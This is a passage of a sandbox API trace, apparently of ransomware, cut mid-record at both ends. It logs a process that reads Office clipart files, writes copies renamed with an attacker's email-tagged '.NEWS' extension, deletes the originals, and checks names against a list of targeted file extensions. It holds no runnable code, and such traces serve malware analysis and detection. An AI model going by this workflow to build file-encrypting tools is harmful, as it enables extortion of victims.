dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.441] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.441] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0182.444] GetLastError () returned 0x0 [0182.444] ReadFile (in: hFile=0x558, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x1028, lpOverlapped=0x0) returned 1 [0182.481] WriteFile (in: hFile=0x478, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1030, lpOverlapped=0x0) returned 1 [0182.483] ReadFile (in: hFile=0x558, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.483] WriteFile (in: hFile=0x478, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.483] SetEndOfFile (hFile=0x478) returned 1 [0182.483] CloseHandle (hObject=0x478) returned 1 [0182.483] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.483] SetEndOfFile (hFile=0x558) returned 1 [0182.491] CloseHandle (hObject=0x558) returned 1 [0182.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.501] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0182.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.502] lstrlenW (lpString=".doc") returned 4 [0182.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.502] lstrlenW (lpString=".docx") returned 5 [0182.503] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.503] lstrlenW (lpString=".pdf") returned 4 [0182.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.503] lstrlenW (lpString=".xls") returned 4 [0182.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.503] lstrlenW (lpString=".xlsx") returned 5 [0182.503] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.503] lstrlenW (lpString=".ppt") returned 4 [0182.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.503] lstrlenW (lpString=".zip") returned 4 [0182.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.503] lstrlenW (lpString=".rar") returned 4 [0182.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.503] lstrlenW (lpString=".bz2") returned 4 [0182.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.503] lstrlenW (lpString=".7z") returned 3 [0182.504] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.504] lstrlenW (lpString=".dbf") returned 4 [0182.504] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.505] lstrlenW (lpString=".1cd") returned 4 [0182.505] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.505] lstrlenW (lpString=".jpg") returned 4 [0182.505] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.505] lstrlenW (lpString=".doc") returned 4 [0182.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0182.505] lstrlenW (lpString=".docx") returned 5 [0182.505] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0182.505] lstrlenW (lpString=".pdf") returned 4 [0182.505] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0182.505] lstrlenW (lpString=".xls") returned 4 [0182.505] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0182.505] lstrlenW (lpString=".xlsx") returned 5 [0182.505] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0182.505] lstrlenW (lpString=".ppt") returned 4 [0182.505] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.506] lstrlenW (lpString=".zip") returned 4 [0182.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0182.506] lstrlenW (lpString=".rar") returned 4 [0182.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0182.506] lstrlenW (lpString=".bz2") returned 4 [0182.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0182.506] lstrlenW (lpString=".7z") returned 3 [0182.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.506] lstrlenW (lpString=".dbf") returned 4 [0182.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.506] lstrlenW (lpString=".1cd") returned 4 [0182.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF") returned 68 [0182.506] lstrlenW (lpString=".jpg") returned 4 [0182.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0182.507] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0182.507] lstrlenW (lpString="J0107308.WMF") returned 12 [0182.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.508] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15888) returned 1 [0182.508] CloseHandle (hObject=0x558) returned 1 [0182.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0182.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0182.509] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.509] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0182.511] GetLastError () returned 0x0 [0182.511] ReadFile (in: hFile=0x558, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x3e10, lpOverlapped=0x0) returned 1 [0182.529] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x3e20, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3e20, lpOverlapped=0x0) returned 1 [0182.530] ReadFile (in: hFile=0x558, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.530] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0182.531] SetEndOfFile (hFile=0x560) returned 1 [0182.531] CloseHandle (hObject=0x560) returned 1 [0182.531] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.531] SetEndOfFile (hFile=0x558) returned 1 [0182.801] CloseHandle (hObject=0x558) returned 1 [0182.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 1 [0183.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.171] lstrlenW (lpString=".doc") returned 4 [0183.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.171] lstrlenW (lpString=".docx") returned 5 [0183.171] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.171] lstrlenW (lpString=".pdf") returned 4 [0183.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.171] lstrlenW (lpString=".xls") returned 4 [0183.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.171] lstrlenW (lpString=".xlsx") returned 5 [0183.171] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.171] lstrlenW (lpString=".ppt") returned 4 [0183.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".zip") returned 4 [0183.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.172] lstrlenW (lpString=".rar") returned 4 [0183.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString=".bz2") returned 4 [0183.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString=".7z") returned 3 [0183.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".dbf") returned 4 [0183.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".1cd") returned 4 [0183.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".jpg") returned 4 [0183.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".doc") returned 4 [0183.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString=".docx") returned 5 [0183.172] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.172] lstrlenW (lpString=".pdf") returned 4 [0183.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString=".xls") returned 4 [0183.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.172] lstrlenW (lpString=".xlsx") returned 5 [0183.172] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.172] lstrlenW (lpString=".ppt") returned 4 [0183.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.172] lstrlenW (lpString=".zip") returned 4 [0183.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.173] lstrlenW (lpString=".rar") returned 4 [0183.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.173] lstrlenW (lpString=".bz2") returned 4 [0183.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.173] lstrlenW (lpString=".7z") returned 3 [0183.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.173] lstrlenW (lpString=".dbf") returned 4 [0183.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.173] lstrlenW (lpString=".1cd") returned 4 [0183.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF") returned 68 [0183.173] lstrlenW (lpString=".jpg") returned 4 [0183.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.173] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.173] lstrlenW (lpString="J0107468.WMF") returned 12 [0183.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0183.175] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9612) returned 1 [0183.175] CloseHandle (hObject=0x4f0) returned 1 [0183.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0183.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0183.176] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.176] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0183.177] GetLastError () returned 0x0 [0183.177] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x258c, lpOverlapped=0x0) returned 1 [0183.201] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2590, lpOverlapped=0x0) returned 1 [0183.202] ReadFile (in: hFile=0x4f0, lpBuffer=0x393d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.202] WriteFile (in: hFile=0x560, lpBuffer=0x393d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x393d020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.202] SetEndOfFile (hFile=0x560) returned 1 [0183.203] CloseHandle (hObject=0x560) returned 1 [0183.203] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.203] SetEndOfFile (hFile=0x4f0) returned 1 [0183.206] CloseHandle (hObject=0x4f0) returned 1 [0183.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0183.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 1 [0183.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.208] lstrlenW (lpString=".doc") returned 4 [0183.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.208] lstrlenW (lpString=".docx") returned 5 [0183.208] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.208] lstrlenW (lpString=".pdf") returned 4 [0183.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.208] lstrlenW (lpString=".xls") returned 4 [0183.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.208] lstrlenW (lpString=".xlsx") returned 5 [0183.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.209] lstrlenW (lpString=".ppt") returned 4 [0183.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString=".zip") returned 4 [0183.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.209] lstrlenW (lpString=".rar") returned 4 [0183.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString=".bz2") returned 4 [0183.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString=".7z") returned 3 [0183.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString=".dbf") returned 4 [0183.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString=".1cd") returned 4 [0183.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString=".jpg") returned 4 [0183.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.209] lstrlenW (lpString=".doc") returned 4 [0183.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.209] lstrlenW (lpString=".docx") returned 5 [0183.209] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0183.210] lstrlenW (lpString=".pdf") returned 4 [0183.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.210] lstrlenW (lpString=".xls") returned 4 [0183.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.210] lstrlenW (lpString=".xlsx") returned 5 [0183.210] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0183.210] lstrlenW (lpString=".ppt") returned 4 [0183.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.210] lstrlenW (lpString=".zip") returned 4 [0183.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.210] lstrlenW (lpString=".rar") returned 4 [0183.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.210] lstrlenW (lpString=".bz2") returned 4 [0183.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.210] lstrlenW (lpString=".7z") returned 3 [0183.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.210] lstrlenW (lpString=".dbf") returned 4 [0183.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.211] lstrlenW (lpString=".1cd") returned 4 [0183.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF") returned 68 [0183.211] lstrlenW (lpString=".jpg") returned 4 [0183.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.211] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0183.211] lstrlenW (lpString="J0107482.WMF") returned 12 [0183.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0183.213] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=4980) returned 1 [0183.213] CloseHandle (hObject=0x4f0) returned 1 [0183.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220 [0183.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0183.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0183.214] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.214] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, 